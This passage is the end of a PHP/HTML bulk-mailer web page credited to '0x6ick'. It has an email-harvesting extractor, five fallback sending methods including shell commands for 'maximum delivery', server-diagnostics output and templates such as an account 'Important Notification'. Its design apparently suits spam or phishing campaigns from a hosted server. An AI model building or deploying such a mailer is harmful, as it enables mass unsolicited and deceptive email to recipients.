oninput="document.getElementById('delayValue').innerText = this.value + 'ms'"> <div class="text-center"> <span id="delayValue" class="badge bg-secondary">100ms</span> </div> <input type="hidden" name="delay" value="100000"> </div> </div> <div class="d-grid gap-2 d-md-flex justify-content-md-between"> <button type="submit" class="btn btn-primary btn-lg"> <i class="bi bi-send-check"></i> Send Emails </button> <button type="button" class="btn btn-outline-secondary btn-lg" onclick="clearForm()"> <i class="bi bi-eraser"></i> Clear All </button> </div> </form> </div> </div> </div> <div class="col-lg-4"> <!-- Stats --> <div class="card"> <div class="card-header"> <h5 class="mb-0"><i class="bi bi-bar-chart me-2"></i>Statistics</h5> </div> <div class="card-body"> <div class="row"> <div class="col-6 mb-3"> <div class="stats-card"> <i class="bi bi-check-circle stats-icon"></i> <div class="stats-number"><?= $sent_count ?></div> <p class="text-muted mb-0">Sent</p> </div> </div> <div class="col-6 mb-3"> <div class="stats-card"> <i class="bi bi-x-circle stats-icon"></i> <div class="stats-number"><?= $failed_count ?></div> <p class="text-muted mb-0">Failed</p> </div> </div> </div> <?php if($sent_count + $failed_count > 0): ?> <div class="mt-3"> <div class="d-flex justify-content-between mb-2"> <span>Success Rate</span> <span><?= $sent_count > 0 ? round(($sent_count/($sent_count+$failed_count))*100, 2) : 0 ?>%</span> </div> <div class="progress"> <div class="progress-bar" style="width: <?= $sent_count > 0 ? ($sent_count/($sent_count+$failed_count))*100 : 0 ?>%"></div> </div> </div> <?php endif; ?> </div> </div> <!-- Sending Methods --> <div class="card"> <div class="card-header"> <h5 class="mb-0"><i class="bi bi-lightning-charge me-2"></i>Sending Methods</h5> </div> <div class="card-body"> <div class="list-group list-group-flush"> <div class="list-group-item d-flex align-items-center"> <div class="flex-grow-1"> <strong>Method 1:</strong> Direct Sendmail </div> <span class="badge badge-primary method-badge">Primary</span> </div> <div class="list-group-item d-flex align-items-center"> <div class="flex-grow-1"> <strong>Method 2:</strong> PHP mail() </div> <span class="badge badge-success method-badge">Fallback</span> </div> <div class="list-group-item d-flex align-items-center"> <div class="flex-grow-1"> <strong>Method 3:</strong> SMTP Socket </div> <span class="badge badge-info method-badge">Fallback</span> </div> <div class="list-group-item d-flex align-items-center"> <div class="flex-grow-1"> <strong>Method 4:</strong> PHPMailer </div> <span class="badge badge-warning method-badge">Optional</span> </div> <div class="list-group-item d-flex align-items-center"> <div class="flex-grow-1"> <strong>Method 5:</strong> Shell Commands </div> <span class="badge badge-info method-badge">Fallback</span> </div> </div> </div> </div> </div> </div> </div> <!-- System Tab --> <div class="tab-pane fade" id="system" role="tabpanel"> <div class="card"> <div class="card-header"> <h5 class="mb-0"><i class="bi bi-gear me-2"></i>System Diagnostics</h5> </div> <div class="card-body"> <h6 class="mb-3">Mail System Status</h6> <?php foreach($system_checks as $check => $status): ?> <?php $class = 'success'; if(strpos($status, 'Not found') !== false || strpos($status, 'Disabled') !== false) { $class = 'danger'; } elseif(strpos($status, 'Closed') !== false || strpos($status, 'Not set') !== false) { $class = 'warning'; } ?> <div class="system-check-item <?= $class ?>"> <div class="d-flex justify-content-between align-items-center"> <span><strong><?= $check ?>:</strong></span> <span><?= $status ?></span> </div> </div> <?php endforeach; ?> <hr class="my-4"> <h6 class="mb-3">Server Information</h6> <div class="row"> <div class="col-md-6"> <div class="system-check-item success"> <strong>Domain:</strong><br> <?= htmlspecialchars($_SERVER['HTTP_HOST'] ?? 'Unknown') ?> </div> </div> <div class="col-md-6"> <div class="system-check-item success"> <strong>Server IP:</strong><br> <?= htmlspecialchars($_SERVER['SERVER_ADDR'] ?? 'Unknown') ?> </div> </div> <div class="col-md-6"> <div class="system-check-item success"> <strong>PHP Version:</strong><br> <?= phpversion() ?> </div> </div> <div class="col-md-6"> <div class="system-check-item success"> <strong>Server Software:</strong><br> <?= htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown') ?> </div> </div> </div> </div> </div> </div> <!-- Templates Tab --> <div class="tab-pane fade" id="templates" role="tabpanel"> <div class="row"> <?php $templates = [ 'newsletter' => [ 'title' => 'Newsletter', 'icon' => 'bi-newspaper', 'subject' => 'Monthly Newsletter - [-month-] [-year-]', 'message' => "Dear [-emailuser-], Welcome to our [-month-] newsletter! Here are the latest updates: • New features added • Upcoming events • Special offers Visit our website for more details. Best regards, Newsletter Team" ], 'welcome' => [ 'title' => 'Welcome Email', 'icon' => 'bi-emoji-smile', 'subject' => 'Welcome to Our Service, [-emailuser-]!', 'message' => "Hello [-emailuser-], Welcome aboard! We're excited to have you with us. Your account has been successfully created. Account Details: • Email: [-email-] • Join Date: [-date-] • Reference: [-randomstring-] Get started by visiting your dashboard. Thank you for choosing us! Best regards, Support Team" ], 'promotion' => [ 'title' => 'Promotion', 'icon' => 'bi-percent', 'subject' => 'Special Offer Just for You!', 'message' => "Hello [-emailuser-], We have a special promotion for our valued members! Use code: [-randomstring-] Valid until: [-date-] This offer is exclusive to you. Don't miss this opportunity! Click here to claim your offer. Best regards, Promotions Team" ], 'notification' => [ 'title' => 'Notification', 'icon' => 'bi-bell', 'subject' => 'Important Notification - Reference: [-serial-]', 'message' => "Dear [-emailuser-], This is an important notification regarding your account. Notification ID: [-randommd5-] Time: [-time-] Reference: [-serial-] Please take appropriate action if needed. Best regards, Notification System" ] ]; foreach($templates as $key => $template): ?> <div class="col-md-6 col-lg-3 mb-4"> <div class="template-card" onclick="loadTemplate('<?= $key ?>')"> <i class="bi <?= $template['icon'] ?> template-icon"></i> <h5><?= $template['title'] ?></h5> <p class="text-muted small mb-0">Click to load this template</p> </div> </div> <?php endforeach; ?> </div> </div> <!-- Logs Tab --> <div class="tab-pane fade" id="logs" role="tabpanel"> <div class="card"> <div class="card-header d-flex justify-content-between align-items-center"> <h5 class="mb-0"><i class="bi bi-list-check me-2"></i>Sending Logs</h5> <button class="btn btn-outline-secondary btn-sm" onclick="clearLogs()"> <i class="bi bi-trash"></i> Clear Logs </button> </div> <div class="card-body"> <div class="log-container" id="logsContainer"> <?php if(!empty($logs)): ?> <?php foreach(array_reverse($logs) as $log): ?> <?= $log ?> <?php endforeach; ?> <?php else: ?> <div class="text-center text-muted py-4"> <i class="bi bi-inbox display-4 mb-3"></i> <p>No logs yet. Send some emails to see logs here.</p> </div> <?php endif; ?> </div> </div> </div> </div> </div> </div> <!-- Modals --> <div class="modal fade" id="extractModal" tabindex="-1"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"><i class="bi bi-magic me-2"></i>Extract Emails</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <form method="post" id="extractForm"> <input type="hidden" name="action" value="extract"> <div class="mb-3"> <label class="form-label">Paste text containing emails:</label> <textarea class="form-control" name="extract_text" rows="10" placeholder="Paste any text here..."></textarea> </div> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-primary" form="extractForm">Extract Emails</button> </div> </div> </div> </div> <div class="modal fade" id="testModal" tabindex="-1"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"><i class="bi bi-check-circle me-2"></i>Send Test Email</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <form method="post" id="testForm"> <input type="hidden" name="action" value="test"> <div class="mb-3"> <label class="form-label">Test Email Address:</label> <input type="email" class="form-control" name="test_email" placeholder="test@example.com" required> </div> <div class="mb-3"> <label class="form-label">From Email:</label> <input type="email" class="form-control" name="from_email" value="<?= htmlspecialchars($_POST['from_email'] ?? 'noreply@' . $_SERVER['HTTP_HOST']) ?>" required> </div> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-success" form="testForm">Send Test</button> </div> </div> </div> </div> <!-- Help Modal --> <div class="modal fade" id="helpModal" tabindex="-1"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"><i class="bi bi-question-circle me-2"></i>Help & Documentation</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <h6>Available Tags</h6> <div class="row mb-3"> <div class="col-md-6"> <ul class="list-unstyled"> <li><code>[-email-]</code> - Full recipient email</li> <li><code>[-emailuser-]</code> - Email username part</li> <li><code>[-emaildomain-]</code> - Email domain part</li> <li><code>[-time-]</code> - Current date/time</li> <li><code>[-date-]</code> - Current date</li> </ul> </div> <div class="col-md-6"> <ul class="list-unstyled"> <li><code>[-randomstring-]</code> - Random alphanumeric</li> <li><code>[-randommd5-]</code> - Random MD5 hash</li> <li><code>[-token-]</code> - Security token</li> <li><code>[-serial-]</code> - Unique serial number</li> <li><code>[-domain-]</code> - Your domain name</li> </ul> </div> </div> <h6>Tips for Success</h6> <ul> <li>Always use an email from your domain as sender</li> <li>Start with a test email to verify setup</li> <li>Use HTML format for better presentation</li> <li>Add delay between emails to avoid limits</li> <li>Check system diagnostics for issues</li> </ul> </div> </div> </div> </div> <!-- Scripts --> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script> <script> // Form functions function clearForm() { if(confirm('Clear all form data?')) { document.getElementById('emailForm').reset(); localStorage.clear(); } } function clearLogs() { document.getElementById('logsContainer').innerHTML = '<div class="text-center text-muted py-4">' + '<i class="bi bi-inbox display-4 mb-3"></i>' + '<p>Logs cleared</p>' + '</div>'; } function addTag(field, tag) { let textarea; if(field === 'message') { textarea = document.getElementById('messageArea'); } else if(field === 'subject') { textarea = document.querySelector('[name="subject"]'); } else { textarea = document.getElementById('emailListArea'); } const start = textarea.selectionStart; const end = textarea.selectionEnd; const text = textarea.value; textarea.value = text.substring(0, start) + tag + text.substring(end); textarea.focus(); textarea.setSelectionRange(start + tag.length, start + tag.length); } function loadTemplate(type) { const templates = { 'newsletter': { subject: 'Monthly Newsletter - [-month-] [-year-]', message: `Dear [-emailuser-], Welcome to our [-month-] newsletter! Here are the latest updates: • New features added • Upcoming events • Special offers Visit our website for more details. Best regards, Newsletter Team` }, 'welcome': { subject: 'Welcome to Our Service, [-emailuser-]!', message: `Hello [-emailuser-], Welcome aboard! We're excited to have you with us. Your account has been successfully created. Account Details: • Email: [-email-] • Join Date: [-date-] • Reference: [-randomstring-] Get started by visiting your dashboard. Thank you for choosing us! Best regards, Support Team` }, 'promotion': { subject: 'Special Offer Just for You!', message: `Hello [-emailuser-], We have a special promotion for our valued members! Use code: [-randomstring-] Valid until: [-date-] This offer is exclusive to you. Don't miss this opportunity! Click here to claim your offer. Best regards, Promotions Team` }, 'notification': { subject: 'Important Notification - Reference: [-serial-]', message: `Dear [-emailuser-], This is an important notification regarding your account. Notification ID: [-randommd5-] Time: [-time-] Reference: [-serial-] Please take appropriate action if needed. Best regards, Notification System` } }; if(templates[type]) { document.querySelector('[name="subject"]').value = templates[type].subject; document.getElementById('messageArea').value = templates[type].message; // Switch to compose tab const composeTab = new bootstrap.Tab(document.getElementById('compose-tab')); composeTab.show(); } } // Auto-save form const emailForm = document.getElementById('emailForm'); const formFields = ['from_email', 'from_name', 'subject', 'message', 'email_list']; formFields.forEach(field => { const element = emailForm.elements[field]; if(element) { // Load saved data const saved = localStorage.getItem('waxa_' + field); if(saved) { element.value = saved; } // Save on change element.addEventListener('input', function() { localStorage.setItem('waxa_' + field, this.value); }); } }); // Form validation emailForm.addEventListener('submit', function(e) { const emailList = emailForm.elements['email_list'].value.trim(); if(!emailList) { e.preventDefault(); alert('Please enter at least one email address'); emailForm.elements['email_list'].focus(); return; } const emails = emailList.split('\n').filter(email => email.trim()); const validEmails = emails.filter(email => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)); if(validEmails.length === 0) { e.preventDefault(); alert('No valid email addresses found. Please check your email list.'); return; } const delayInput = document.querySelector('[name="delay"]'); const delayMs = delayInput ? parseInt(delayInput.value) : 100; delayInput.value = delayMs * 1000; // Convert to microseconds if(!confirm(`Send ${validEmails.length} email${validEmails.length > 1 ? 's' : ''}? This will use 5 different sending methods for maximum delivery.`)) { e.preventDefault(); } }); // Update delay display const delayRange = document.querySelector('input[type="range"][name="delay"]'); if(delayRange) { delayRange.addEventListener('input', function() { document.getElementById('delayValue').innerText = this.value + 'ms'; }); } // Auto-scroll logs const logsContainer = document.getElementById('logsContainer'); if(logsContainer) { logsContainer.scrollTop = logsContainer.scrollHeight; } // Initialize tooltips const tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]')); tooltipTriggerList.map(function (tooltipTriggerEl) { return new bootstrap.Tooltip(tooltipTriggerEl); }); </script> </body> </html>
Coded With 💗 by
0x6ick